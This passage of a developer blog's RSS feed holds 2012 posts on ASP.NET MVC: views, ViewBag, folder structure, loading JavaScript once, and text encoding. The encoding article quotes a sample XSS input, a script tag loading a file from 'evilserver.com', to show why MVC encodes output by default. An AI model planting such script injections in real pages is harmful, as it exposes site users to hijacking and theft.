		<description><![CDATA[In this screencast I discuss the how to create strongly-typed razor views in ASP.NET MVC. We look at how Models can be used to pass data (both simple and complex) from controller action methods down to razor views. We also &#8230; <a href="http://blog.michaelckennedy.net/2012/10/31/screencast-strongly-typed-views-in-asp-net-mvc/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=655&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>In this screencast I discuss the how to create strongly-typed razor views in ASP.NET MVC. We look at how Models can be used to pass data (both simple and complex) from controller action methods down to razor views. We also look at the concept of ViewModels which hold aggregate data to pass to views. Finally, we cover some of the tooling for generating views in Visual Studio.</p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/2FRftJOv1MA?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p>Download the code: <a title="Kennedy.Mvc.StronglyTypedViews.zip" href="https://s3.amazonaws.com/michael-kennedy/blog/StronglyTypedViews/Kennedy.Mvc.StronglyTypedViews.zip" target="_blank">Kennedy.Mvc.StronglyTypedViews.zip</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/video/'>Video</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/video/'>Video</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/655/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/655/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=655&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/10/31/screencast-strongly-typed-views-in-asp-net-mvc/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Screencast: ViewBag and View Data in ASP.NET MVC</title>
		<link>http://blog.michaelckennedy.net/2012/10/30/screencast-viewbag-and-view-data-in-asp-net-mvc/</link>
		<comments>http://blog.michaelckennedy.net/2012/10/30/screencast-viewbag-and-view-data-in-asp-net-mvc/#comments</comments>
		<pubDate>Tue, 30 Oct 2012 21:52:27 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=652</guid>
		<description><![CDATA[In this screencast I discuss the ViewBag and ViewData properties in ASP.NET MVC. We look at how they can be used to pass data (both simple and complex) from controller action methods down to razor views. Download the code: Code-Kennedy.Mvc.ViewBagsAndViewData.zip Filed &#8230; <a href="http://blog.michaelckennedy.net/2012/10/30/screencast-viewbag-and-view-data-in-asp-net-mvc/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=652&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>In this screencast I discuss the ViewBag and ViewData properties in ASP.NET MVC. We look at how they can be used to pass data (both simple and complex) from controller action methods down to razor views.</p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/YirwJ45NZqU?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p>Download the code: <a title="Code-Kennedy.Mvc.ViewBagsAndViewData.zip" href="https://s3.amazonaws.com/michael-kennedy/blog/ViewBag-and-ViewData-in-MVC/Code-Kennedy.Mvc.ViewBagsAndViewData.zip" target="_blank">Code-Kennedy.Mvc.ViewBagsAndViewData.zip</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/uncategorized/'>Uncategorized</a>, <a href='http://blog.michaelckennedy.net/category/video/'>Video</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/video/'>Video</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/652/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/652/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=652&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/10/30/screencast-viewbag-and-view-data-in-asp-net-mvc/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Understanding Text Encoding in ASP.NET MVC (ASP.NET MVC Foundations Series)</title>
		<link>http://blog.michaelckennedy.net/2012/10/15/understanding-text-encoding-in-asp-net-mvc/</link>
		<comments>http://blog.michaelckennedy.net/2012/10/15/understanding-text-encoding-in-asp-net-mvc/#comments</comments>
		<pubDate>Mon, 15 Oct 2012 23:37:03 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[Foundations]]></category>
		<category><![CDATA[LearningLine]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=627</guid>
		<description><![CDATA[This article covers the various ways in which you might handle text encoding in ASP.NET MVC. For example, if you were writing a forum web app, you should absolutely be paranoid about what your users are typing into your site. &#8230; <a href="http://blog.michaelckennedy.net/2012/10/15/understanding-text-encoding-in-asp-net-mvc/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=627&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<div style="width:100%;margin-bottom:25px;text-align:center;background-color:black;padding-top:2px;"><a title="Join the instructor-supported online learning revolution." href="https://learninglineapp.com/tasks/140/create-views-in-mvc-razor-and-csharp" target="_blank"><img alt="" height="75" src="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" border="0" /></a></div>
<div>
<p>This article covers the various ways in which you might handle text encoding in ASP.NET MVC. For example, if you were writing a forum web app, you should absolutely be paranoid about what your users are typing into your site. You need to be very careful about how you redisplay their input. For example, a friendly forum user might write something like:</p>
<blockquote><p>Nice post, thanks for sharing!</p></blockquote>
<p>On the other hand, they may write:</p>
<blockquote><p>&lt;script src=&#8221;<a href="http://evilserver.com/xss.js&#8221;&gt;&lt;/script&#038;gt" rel="nofollow">http://evilserver.com/xss.js&#8221;&gt;&lt;/script&#038;gt</a>;<br />
&lt;script&gt;xss.doBadDeeds();&lt;/script&gt;</p></blockquote>
<p>If you turn around and show this &#8220;post&#8221; to your other uses, maybe they&#8217;ll get hacked. At a minimum, the evil-doers could be a nuisance to your real users.</p>
<p>On the other hand, if you&#8217;re building a CMS or utility helper method, you do <strong>not</strong> want to filter out the HTML a user might type. They probably need to enter some HTML which you&#8217;ll want to show to all the other users. Same thing goes for code your app might generate.</p>
<p>There are at least three ways which MVC manages and encodes (or does not encode) text data. Knowing which scenario you&#8217;re targeting allows you to choose the right option. We&#8217;ll look at four examples in this post:</p>
<ol>
<li>A forum app which can be hacked</li>
<li>A forum app which is safe from XSS injection</li>
<li>A CMS app with rich text editing</li>
<li>Generating HTML in code for use in MVC Razor views</li>
</ol>
<p><strong><span id="more-627"></span>Protecting Against Unwanted HTML Inputs</strong></p>
<p>First, the good news. MVC protects you in several ways against any sort of HTML / JS injection issues. When you write out string contents such as below, it HTML encodes it by default when using <strong>@</strong>.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/safe1.png"><img class="alignnone size-full wp-image-632" title="safe1" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/safe1.png?w=584"   /></a></p>
<p>If we assume <strong>commentText = &#8220;&lt;script src=&#8217;evil.js&#8217;&gt;&lt;/script&gt;&#8221;</strong>, then the output would simply be:</p>
<p><strong>Comment text:<br />
</strong>&lt;script src=&#8217;evil.js&#8217;&gt;&lt;/script&gt;<strong><br />
</strong></p>
<p>That is <strong><em>&amp;lt;script src=&#8217;evil.js&#8217;&amp;gt;&amp;lt;/script&amp;gt; </em></strong>in view source, which is perfectly safe.</p>
<p>Next, it is unlikely that this input ever makes it to your site. By default, if you have an action method taking this input, it will just error out with the following message:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/safe-controller.png"><img class="alignnone size-full wp-image-633" title="safe-controller" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/safe-controller.png?w=584"   /></a></p>
<p>Error on submit:<br />
<em><strong>A potentially dangerous Request.Form value was detected from the client&#8230;</strong></em></p>
<p>Of course, we could disable this with a <strong>ValidateInput</strong> attribute:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/less-safe.png"><img class="alignnone size-full wp-image-634" title="less-safe" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/less-safe.png?w=584"   /></a></p>
<p>In this case, you must be VERY careful when you write out the commentText values later.</p>
<p>So far we have seen that by default razor outputs text in a safe way using <strong>@value</strong>. Also, POST requests are blocked if they have dangerous content unless you let it in.</p>
<p>In order to demonstrate these concepts, I created a working sample app here:</p>
<p><a href="http://samples.michaelckennedy.net/textencodingsampleapp" target="_blank">http://samples.michaelckennedy.net/textencodingsampleapp</a></p>
<p>View the <a href="http://samples.michaelckennedy.net/TextEncodingSampleApp/home/forum" target="_blank">safe forum</a> and <a href="http://samples.michaelckennedy.net/TextEncodingSampleApp/home/unsafeforum" target="_blank">unsafe forum</a> sections to see what happens. You can download the code from the sample as well.</p>
<p><strong>Allowing Direct HTML Inputs</strong></p>
<p>But what if you trust the input and need MVC out of the way so you can write true HTML content to the browser? One such example might be a CMS you&#8217;re writing. There are two cases you would treat differently here. Is your HTML coming from data given to your view or from code called by your view?</p>
<p>Let&#8217;s assume it&#8217;s handed to you as a string in a variable called <strong>cmsSectionData</strong>  (i.e. data). Then we can use the helper method:</p>
<p><strong>   @Html.Raw(cmsSectionData)</strong></p>
<p>rather than @cmsSectionData. This will make the contents of cmsSectionData part of your HTML in the view. You will also need to disable validation on any edit pages using<strong> [ValidateInput(false)]</strong> as shown above.</p>
<p>Check out the <a href="http://samples.michaelckennedy.net/TextEncodingSampleApp/home/cms" target="_blank">CMS section of the demo</a> to see it in action.</p>
<p>Finally, if you are writing little <a href="http://www.asp.net/mvc/tutorials/older-versions/views/creating-custom-html-helpers-cs" target="_blank">helper methods to make your views cleaner</a> (a good idea!), you&#8217;ll do something totally different. For example, suppose we frequently need to wrap images in links in our views. We could write it out in HTML each time, or we could write a method on a class we make called <strong>OurHtmlHelper</strong> called <strong>LinkWithImage</strong>. Here is an example implementation:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/bad-helper.png"><img class="alignnone size-full wp-image-639" title="bad-helper" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/bad-helper.png?w=584"   /></a></p>
<p>You might think we could write code like this:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/bad-helper-usage1.png"><img class="alignnone size-full wp-image-641" title="bad-helper-usage" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/bad-helper-usage1.png?w=584"   /></a></p>
<p>But MVC&#8217;s encoding for @ would block it for sure. You could wrap it in an @Html.Raw() but there is a better way.</p>
<p><strong>Introducing the <a href="http://msdn.microsoft.com/en-us/library/system.web.mvc.mvchtmlstring(v=vs.108).aspx" target="_blank">MvcHtmlString</a> class</strong></p>
<p>The purpose of this class is to inform MVC to get out of the way and NOT encode the contents. So simply changing the return type of <strong>LinkWithImage</strong> to MvcHtmlString fixes it.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/good-helper.png"><img class="alignnone size-full wp-image-642" title="good helper" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/good-helper.png?w=584"   /></a></p>
<p>Check out the <a href="http://samples.michaelckennedy.net/TextEncodingSampleApp/home/helpers" target="_blank">Helpers section of the demo</a> to see this in action.</p>
<p>There you have it. Three ways to encode or avoid encoding HTML data in ASP.NET MVC applications.</p>
<p>Cheers,<br />
<a href="https://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
</div>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/articles/'>Articles</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/foundations/'>Foundations</a>, <a href='http://blog.michaelckennedy.net/tag/learningline/'>LearningLine</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/web/'>web</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/627/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/627/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=627&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/10/15/understanding-text-encoding-in-asp-net-mvc/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" medium="image" />

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/safe1.png" medium="image">
			<media:title type="html">safe1</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/safe-controller.png" medium="image">
			<media:title type="html">safe-controller</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/less-safe.png" medium="image">
			<media:title type="html">less-safe</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/bad-helper.png" medium="image">
			<media:title type="html">bad-helper</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/bad-helper-usage1.png" medium="image">
			<media:title type="html">bad-helper-usage</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/good-helper.png" medium="image">
			<media:title type="html">good helper</media:title>
		</media:content>
	</item>
		<item>
		<title>Understanding the MVC Project Folder Structure (ASP.NET MVC Foundations Series)</title>
		<link>http://blog.michaelckennedy.net/2012/10/12/understanding-the-mvc-project-folder-structure/</link>
		<comments>http://blog.michaelckennedy.net/2012/10/12/understanding-the-mvc-project-folder-structure/#comments</comments>
		<pubDate>Fri, 12 Oct 2012 16:14:29 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Video]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[.NET]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=619</guid>
		<description><![CDATA[Here&#8217;s a short screencast I did on understanding the ASP.NET MVC folder structure.  As you will see, MVC uses the philosophy of convention over configuration. There are many benefits to this. You simply drop a file here or there, give a class &#8230; <a href="http://blog.michaelckennedy.net/2012/10/12/understanding-the-mvc-project-folder-structure/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=619&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Here&#8217;s a short screencast I did on understanding the ASP.NET MVC folder structure.  As you will see, MVC uses the philosophy of <em><a href="http://en.wikipedia.org/wiki/Convention_over_configuration" target="_blank">convention over configuration</a></em>. There are many benefits to this. You simply drop a file here or there, give a class a certain name, etc, and things start to happen. But you must understand how MVC expects you to layout your project.</p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/JP_l0u9--5g?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;hd=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p>Cheers,<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/video/'>Video</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/619/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/619/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=619&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/10/12/understanding-the-mvc-project-folder-structure/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Preventing JavaScript Files from Loading Multiple Times</title>
		<link>http://blog.michaelckennedy.net/2012/10/11/preventing-javascript-files-from-loading-multiple-times/</link>
		<comments>http://blog.michaelckennedy.net/2012/10/11/preventing-javascript-files-from-loading-multiple-times/#comments</comments>
		<pubDate>Thu, 11 Oct 2012 14:58:29 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Articles]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Opinion]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=580</guid>
		<description><![CDATA[This post is about ensuring that you do not execute a particular JavaScript file more than one time. Let&#8217;s start by asking: What happens if you link to a js file twice in your page? Here is a contrived example. &#8230; <a href="http://blog.michaelckennedy.net/2012/10/11/preventing-javascript-files-from-loading-multiple-times/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=580&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>This post is about ensuring that you do not execute a particular JavaScript file more than one time. Let&#8217;s start by asking:</p>
<blockquote><p>What happens if you link to a js file twice in your page?</p></blockquote>
<p>Here is a contrived example.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/bad-double.png"><img class=" wp-image-582 alignnone" title="bad-double" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/bad-double.png?w=645&#038;h=130" height="130" width="645" /></a></p>
<p>Notice that we are including <em><strong>bad-example.js</strong></em> twice. Do modern browsers somehow realize they loaded this file already and skip this? Not yet, as we&#8217;ll see!</p>
<p>Imagine <em><strong>bad-example.js</strong></em> had this code in it.<span id="more-580"></span></p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/docload.png"><img class="alignnone size-full wp-image-584" title="docload" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/docload.png?w=584"   /></a></p>
<p>Is jQuery smart enough to know it should only hook this event once per file? Will that <strong>div</strong> be appended as many times as the file was included when the button named <strong>nameIt</strong> is clicked?</p>
<p>I&#8217;ve created a simple jsFiddle for you to explore this problem before we get to the solution.</p>
<p style="padding-left:30px;"><strong>Accidentally Included Script Three Times<br />
</strong><a href="http://jsfiddle.net/mkennedy/6AHCZ/" target="_blank">http://jsfiddle.net/mkennedy/6AHCZ/</a></p>
<p>In the bottom-right pane, you&#8217;ll see the web page running. Enter your name and click the button. You&#8217;ll see that you get this output, repeated 3 times per click!</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/threeout.png"><img class="alignnone size-full wp-image-585" title="threeout" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/threeout.png?w=584"   /></a></p>
<p>Now, the old saying &#8220;<em>I said,</em> d<em>octor it hurts when I do this with my arm. Doctor said, then don&#8217;t do that</em>!&#8221; comes to mine. Maybe we should just try hard to not include a js file multiple times. In real web apps, it&#8217;s not that simple.</p>
<p>I&#8217;ve been working on a JavaScript-heavy web application recently. There are a lot of ASP.NET MVC views and layouts as well as a lot of JavaScript files. Currently, a little<strong> dir /s</strong> reports there are 1,200 razor views and 50 JavaScript files. Many of these are views nested within views which are nested within layouts, and so on. It&#8217;s not simple to be certain you&#8217;re only including a file once.</p>
<p>So what do you do? Give up and proclaim that JavaScript sucks. It was never meant for building large applications. No, of course not.</p>
<blockquote><p>The web is awesome and the fix is simple enough.</p></blockquote>
<p>Let&#8217;s look at another example. If we could simply write code like this, we would be in business.<a href="http://michaelckennedy.files.wordpress.com/2012/10/nottwice.png"><img class="alignnone size-full wp-image-586" title="nottwice" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/nottwice.png?w=584"   /></a></p>
<p>We call <strong>fileAlreadyLoaded</strong> and bail out if it&#8217;s true. You&#8217;ll see that by using namespaces (you should do this anyway!) and a simple method which <em>embraces</em> JavaScript&#8217;s dynamic nature, we can pull this off easily.</p>
<p>First, for your project, define a global namespace. Let&#8217;s assume I&#8217;m writing a blog app. So maybe <strong>blog</strong> is a good base namespace. You see, in JavaScript it&#8217;s as simple as this:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/basens.png"><img class="alignnone size-full wp-image-588" title="basens" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/basens.png?w=584"   /></a></p>
<p>This might be good for your main JS file. But you do not want to have just one huge JS file. Breaking things up for maintainability is good. So suppose we have a <strong>commets.js</strong> file. In there, we&#8217;d have:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/secondns.png"><img class="alignnone size-full wp-image-589" title="secondns" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/secondns.png?w=584"   /></a></p>
<p>Notice, it&#8217;s not <strong>var blog.comments</strong>.We&#8217;re adding a sub-namespace (object) to the global namespace <strong>blog</strong>. With namespaces in place, we can add methods to them and get intellisense to boot! Here&#8217;s an example of adding a method to the blog.comments namespace.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/func.png"><img class="alignnone size-full wp-image-590" title="func" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/func.png?w=584"   /></a></p>
<p>We can set values such as<strong> blog.comments.debugMode = false</strong>. And your code becomes much more navigable in Visual Studio with intellisense by leveraging namespaces:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/intel.png"><img class="alignnone size-full wp-image-592" title="intel" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/intel.png?w=584"   /></a></p>
<p>So namespaces are great and all. But the question is&#8230;</p>
<blockquote><p>How do we leverage namespaces for checking whether a file is loading more than once?</p></blockquote>
<p>Well, if we use <span style="text-decoration:underline;"><em><strong>one</strong> </em><strong>namespace per file</strong></span> and recall that namespaces are just objects we can write that method to check for a double load like this:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/isfirst.png"><img class="alignnone size-full wp-image-593" title="isfirst" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/isfirst.png?w=584"   /></a></p>
<p>We take a namespace and see if it has a <strong>firstLoad</strong> property. The first time, <strong>firstLoad</strong> has never been set, so it comes back as <strong>undefined</strong>. Hence, <strong>isFirst</strong> is <strong>true</strong>. We add a little logging to let us know there is trouble if it&#8217;s a second load. Then we just return the status.</p>
<p>Anywhere in your js file you need check (only ask once per file!) you can do:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/once.png"><img class="alignnone size-full wp-image-595" title="once" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/once.png?w=584"   /></a></p>
<p>See how we pass the namespace <strong>blog.comments</strong> which is in the comments.js file?</p>
<p>There you have it. We prevented the execution of a JS file the second, third, etc times it&#8217;s included. You even get a diagnostic output to boot.</p>
<p>So for the final part of this post, check out a new jsFiddle which uses the improved script with this testing and with namespaces.</p>
<p style="padding-left:30px;"><strong>Scripts only once (block multiple)</strong><br />
<a href="http://jsfiddle.net/mkennedy/eEBZh/" target="_blank">http://jsfiddle.net/mkennedy/eEBZh/</a></p>
<p>Now you see, we get just the output we want. Our script was included 3 times and yet it only ran once.</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/onceoneout.png"><img class="alignnone size-full wp-image-596" title="onceoneout" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/onceoneout.png?w=584"   /></a></p>
<p>We even got some nice output in the F12 tools!</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2012/10/warn.png"><img title="warn" alt="" src="http://michaelckennedy.files.wordpress.com/2012/10/warn.png?w=436&#038;h=120" height="120" width="436" /></a></p>
<p>Hope this is useful or helpful to you!</p>
<p>Cheers,<br />
<a href="https://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/uncategorized/'>Uncategorized</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/articles/'>Articles</a>, <a href='http://blog.michaelckennedy.net/tag/cloud/'>Cloud</a>, <a href='http://blog.michaelckennedy.net/tag/jquery/'>jQuery</a>, <a href='http://blog.michaelckennedy.net/tag/opinion/'>Opinion</a>, <a href='http://blog.michaelckennedy.net/tag/tools/'>Tools</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a>, <a href='http://blog.michaelckennedy.net/tag/web/'>web</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/580/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/580/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=580&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/10/11/preventing-javascript-files-from-loading-multiple-times/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/bad-double.png" medium="image">
			<media:title type="html">bad-double</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/docload.png" medium="image">
			<media:title type="html">docload</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/threeout.png" medium="image">
			<media:title type="html">threeout</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/nottwice.png" medium="image">
			<media:title type="html">nottwice</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/basens.png" medium="image">
			<media:title type="html">basens</media:title>
		</media:content>

